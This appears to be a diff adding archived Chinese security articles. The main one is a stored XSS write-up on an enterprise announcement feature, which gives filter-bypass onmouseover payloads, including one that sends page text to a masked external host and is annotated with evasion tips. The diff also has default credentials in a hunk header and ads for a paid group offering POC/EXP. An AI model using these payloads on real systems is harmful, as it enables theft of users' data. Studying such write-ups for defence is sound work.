然后还有很多其他的漏洞，这次文章就不一一给师傅们分享了，留着下次有时候给师傅们分享，这次写这篇文章由于之前的渗透测试项目漏洞都修复 了，我才写的这篇文章，所以实属不易，为了给师傅们演示的那么细致，特意去网上现找了一些漏洞实操截图给师傅们，因为之前的漏洞报告没有写的那么详细，这里怕新手师傅看不懂。
|
||||
@@ -644,171 +447,48 @@ admin:123456jeecg:123456
|
||||
原文链接：
|
||||
https://zone.huoxian.cn/d/2990
|
||||
|
||||
往期推荐：
|
||||
|
||||
**内部小圈子详情介绍**
|
||||
[【代码审计】某系统存在文件覆盖导致getshell](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489508&idx=1&sn=be782f8a3fd33f7b4e9998c7bf8ddc86&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[红队 AI红队平台 viper更新至3.1.7](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489503&idx=1&sn=ee2f5cc861160e16d8c5611634f34f87&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[渗透测试 ｜ 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489466&idx=1&sn=3630915a5db00418f1e7b18541bbb73a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
我们是
|
||||
神农安全
|
||||
，点赞 + 在看
|
||||
铁铁们点起来，最后祝大家都能心想事成、发大财、行大运。
|
||||
|
||||
|
||||
|
||||
**关于我们:**
|
||||
|
||||
感谢各位大佬们关注-不秃头的安全，后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章，同时会组织不定期抽奖，希望能得到各位的关注与支持，考证请加联系vx咨询。
|
||||
|
||||
|
||||
## 1. 需要考以下各类安全证书的可以联系
|
||||
|
||||
|
||||
学生pte超低价，绝对低价绝对优惠，CISP、PTE/PTS、DSG、IRE/IRS、NISP、PMP、CCSK、CISSP、ISO27001、IT服务项目经理等等巨优惠，想加群下方链接：
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**圈子专注于更新src/红蓝攻防相关：**
|
||||
|
||||
## 2. 需要入星球的可以私聊优惠
|
||||
|
||||
星球里有什么？
|
||||
```
|
||||
1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例
|
||||
2、知识星球专属微信“小圈子交流群”
|
||||
3、微信小群一起挖洞
|
||||
4、内部团队专属EDUSRC证书站漏洞报告
|
||||
5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防）
|
||||
6、分享src挖掘技巧tips
|
||||
7、不定期有众测、渗透测试项目（一起挣钱）
|
||||
8、不定期有工作招聘内推（工作/护网内推）
|
||||
9、送全国职业技能大赛环境+WP解析（比赛拿奖）
|
||||
1、维护更新src、cnxd、cnnxd专项漏洞知识库，包含原理、挖掘技巧、实战案例2、fafo/零零信安/QUAKE 高级会员key3、POC及CXXD及CNNXD通用报告详情分享思路4、知识星球专属微信“内部圈子交流群”5、分享src挖掘技巧tips6、最新新鲜工具分享7、不定期有工作招聘内推（工作/护网内推）8、攻防演练资源分享(免杀，溯源，钓鱼等)9、19个专栏会持续更新~提前续费有优惠，好用不贵很实惠
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**内部圈子**
|
||||
**专栏介绍**
|
||||
|
||||
知识星球内部共享资料截屏详情如下
|
||||
|
||||
（只要没有特殊情况，每天都保持更新）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**知识星球——**
|
||||
**神农安全**
|
||||
|
||||
星球现价
|
||||
￥45元
|
||||
|
||||
如果你觉得应该加入，就不要犹豫，价格只会上涨，不会下跌
|
||||
|
||||
星球人数少于900人 45元/年
|
||||
|
||||
星球人数少于1000人 60元/年
|
||||
|
||||
（新人优惠卷20，扫码或者私信我即可领取）
|
||||
|
||||
|
||||
|
||||
欢迎加入星球一起交流，券后价仅45元！！！ 即将满900人涨价
|
||||
|
||||
长期
|
||||
更新，更多的0day/1day漏洞POC/EXP
|
||||
|
||||
|
||||
|
||||
**内部知识库--**
|
||||
**（持续更新中）**
|
||||
|
||||
|
||||
|
||||
|
||||
**知识库部分大纲目录如下：**
|
||||
|
||||
知识库跟
|
||||
知识星球联动，基本上每天保持
|
||||
更新，满足圈友的需求
|
||||
|
||||
|
||||
|
||||
|
||||
知识库和知识星球有师傅们关注的
|
||||
EDUSRC
|
||||
和
|
||||
CNVD相关内容（内部资料）
|
||||
|
||||
|
||||
|
||||
|
||||
还有网上流出来的各种
|
||||
SRC/CTF等课程视频
|
||||
|
||||
量大管饱，扫描下面的知识星球二维码加入即可
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
不会挖CNVD？不会挖EDURC？不会挖企业SRC？不会打nday和通杀漏洞？
|
||||
|
||||
直接加入我们小圈子：
|
||||
知识星球+内部圈子交流群+知识库
|
||||
|
||||
快来吧！！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
神农安全知识库内部配置很多
|
||||
内部工具和资料💾，
|
||||
玄机靶场邀请码+EDUSRC邀请码等等
|
||||
|
||||
|
||||
|
||||
|
||||
快要护网来临，是不是需要
|
||||
护网面试题汇总
|
||||
？
|
||||
问题+答案（超级详细🔎）
|
||||
|
||||
|
||||
|
||||
|
||||
最后，师傅们也是希望找个
|
||||
好工作，那么常见的
|
||||
渗透测试/安服工程师/驻场面试题目，你值得拥有！！！
|
||||
|
||||
|
||||
|
||||
|
||||
内部小圈子——
|
||||
圈友反馈
|
||||
（
|
||||
良心价格
|
||||
）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**神农安全公开交流群**
|
||||
|
||||
有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群）
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 3、其他合作（合法合规）
|
||||
|
||||
1、承接各种安全项目，需要攻防团队或岗位招聘都可代发、代招（灰黑勿扰）；
|
||||
|
||||
2、各位安全老板需要文章推广的请私聊，承接合法合规推广文章发布，可直发、可按产品编辑推广；
|
||||
合作、推广代发、安全项目、岗位代招均可发布
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# 直播预告 | 攻防演练季应急自救指南-0Day/NDay来袭，传统防护失效下该如何破局?
|
||||
安在 2025-06-25 09:38
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
直播时间为06月26日19:00~20:00，本次直播将带您直击攻防演练最前线！世界顶级实验室安全专家带您拆解2025年TOP漏洞利用链，揭秘腾讯内部攻防最佳实践，让应用从此无视漏洞风暴！欢迎大家提前扫描图中二维码或点击下方阅读原文预约直播
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247636140&idx=1&sn=8b53ff22bbfa15b46b0ed22fcb3a5f71&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击这里阅读原文
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# 记录某企业存储型XSS漏洞从发现到数据外泄全路径分析
|
||||
船山信安 2025-06-25 16:00
|
||||
|
||||
本文章所分享内容仅用于网络安全相关的技术讨论和学习，注意，切勿用于违法途径，所有渗透测试都需要获取授权，违者后果自行承担，与本文章及作者无关，请谨记守法。
|
||||
|
||||
# 0x1. 概述
|
||||
|
||||
|
||||
由于漏洞系统比较敏感，下面涉及域名地址的相关图片我就只能厚码打上，感谢各位看官的支持与理解!!!
|
||||
|
||||
# 0x2. 正文
|
||||
|
||||
#### 0x01 漏洞发现：
|
||||
|
||||
|
||||
进入系统后就发现有发布公告的功能点，当然会测试一番，好家伙，被过滤了，在换，再试，然后看js，确实过滤，就不断尝试，burp改包发包验证，常规xss语句看来是弹窗不了；不要问我为什么就觉得这里有问题，问就是凭借直觉和它做了过滤动作，必定有没有过滤到位的，自然也就坚持去搞搞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后就看了，发布公告的里面输入框具体过滤什么，分析后就开始绕过之路！！！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
从js可以知道
|
||||
存在前端过滤+符号转义+禁用字符检测，同时也分析发现前端过滤机制excludeSpecial()函数被注释无效，containSpecial()仅检测$^<>和script关键词，就是使用绕过特殊字符检测，采用无尖括号事件处理器：onmouseover代替onload。
|
||||
|
||||
|
||||
|
||||
#### 0x02 验证漏洞：
|
||||
|
||||
|
||||
分析后就如下方式尝试构造如下3个poc进行绕过：
|
||||
|
||||
1. **语法构造优化**
|
||||
- " x="
|
||||
：强制闭合原始属性
|
||||
- 空格分隔：绕过空格过滤检测
|
||||
- 省略引号：采用无引号事件调用
|
||||
1. **特征规避技术**
|
||||
- 避免使用黑名单字符：
|
||||
<>$^
|
||||
等
|
||||
- 避开关键词：不使用
|
||||
script/js/http
|
||||
等
|
||||
- 使用低频事件处理器：onmouseover> onclick
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><strong><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">POC</span></span></strong></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><strong><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">验证阶段</span></span></strong></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><strong><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">渗透对象</span></span></strong></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">" onmouseover="alert(1)" x="</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">基础验证弹窗</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">事件触发机制</span></span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">" onmouseover="alert(document.cookie)" x="</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">会话穿透</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">HttpOnly Cookie保护</span></span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">" onmouseover="(new Image).src='...'" x="</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">数据渗出</span></span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0px;padding: 0px;min-height: 24px;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;"><span leaf="">DOM核心业务节点</span></span></p></td></tr></tbody></table>
|
||||
```
|
||||
" onmouseover="alert(1)" x="1. 关键字符检测仅限 [$^<>]，空格/引号/括号均被放行2. "script"检测可通过事件处理器绕过3. 未监控Image对象请求外部资源行为
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
DOM精准渗透/流量伪装技术：
|
||||
|
||||
```
|
||||
" onmouseover="alert(document.cookie)" x=" " onmouseover=" (new Image).src='https://x.xxx.xx.xx:8000/log?k='+encodeURIComponent( document.querySelector('.th_bg').innerText )" x=" .th_bg // 定位企业公告核心DOM节点.innerText // 文本提取避开HTML结构干扰encodeURIComponent // 规避特殊字符警报(new Image).src= // 伪装图片请求'http://'+IP+端口 // 绕过协议关键字检测/log?k= // 模拟正常日志请求
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞核心突破点**
|
||||
：
|
||||
|
||||
- 无视
|
||||
containSpecial()
|
||||
函数对
|
||||
$^<>
|
||||
和
|
||||
script
|
||||
的检测
|
||||
- 利用前端过滤失效实现HTML属性逃逸
|
||||
- 实现从基础弹窗到业务数据窃取的攻击
|
||||
- 输入检测盲区 + 渲染层无过滤 = 持久化攻击链
|
||||
# 0x3. 总结
|
||||
|
||||
|
||||
**根本漏洞链**
|
||||
：
|
||||
|
||||
无效过滤函数 → 事件处理器白名单缺失 → 属性逃逸构造 → DOM数据渗出
|
||||
|
||||
|
||||
**完整漏洞链**
|
||||
：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**渗透测试链路**
|
||||
：
|
||||
|
||||
```
|
||||
过滤检测 → 属性逃逸 → 事件注入 → 数据提取 → 外传通道//坚持自己选择，不要遇到绕不过的就放弃了，毕竟有很多事情，不起尝试怎么知道自己不行咯！
|
||||
```
|
||||
# 0x4. 最后忠告
|
||||
|
||||
|
||||
XSS漏洞挖掘的本质是语法与规则的对抗。成功的挖掘必须建立在：
|
||||
|
||||
1. 对过滤机制的逆向解构
|
||||
1. 业务场景数据节点的测绘
|
||||
1. 渗出通道的隐蔽性保障 保持对空格/引号/括号等基础语法元素的敏感性，往往比追求复杂攻击技术更有成效！
|
||||
转自:
|
||||
https://xz.aliyun.com/news/18290
|
||||
|
||||
Reference in new issue
Block a user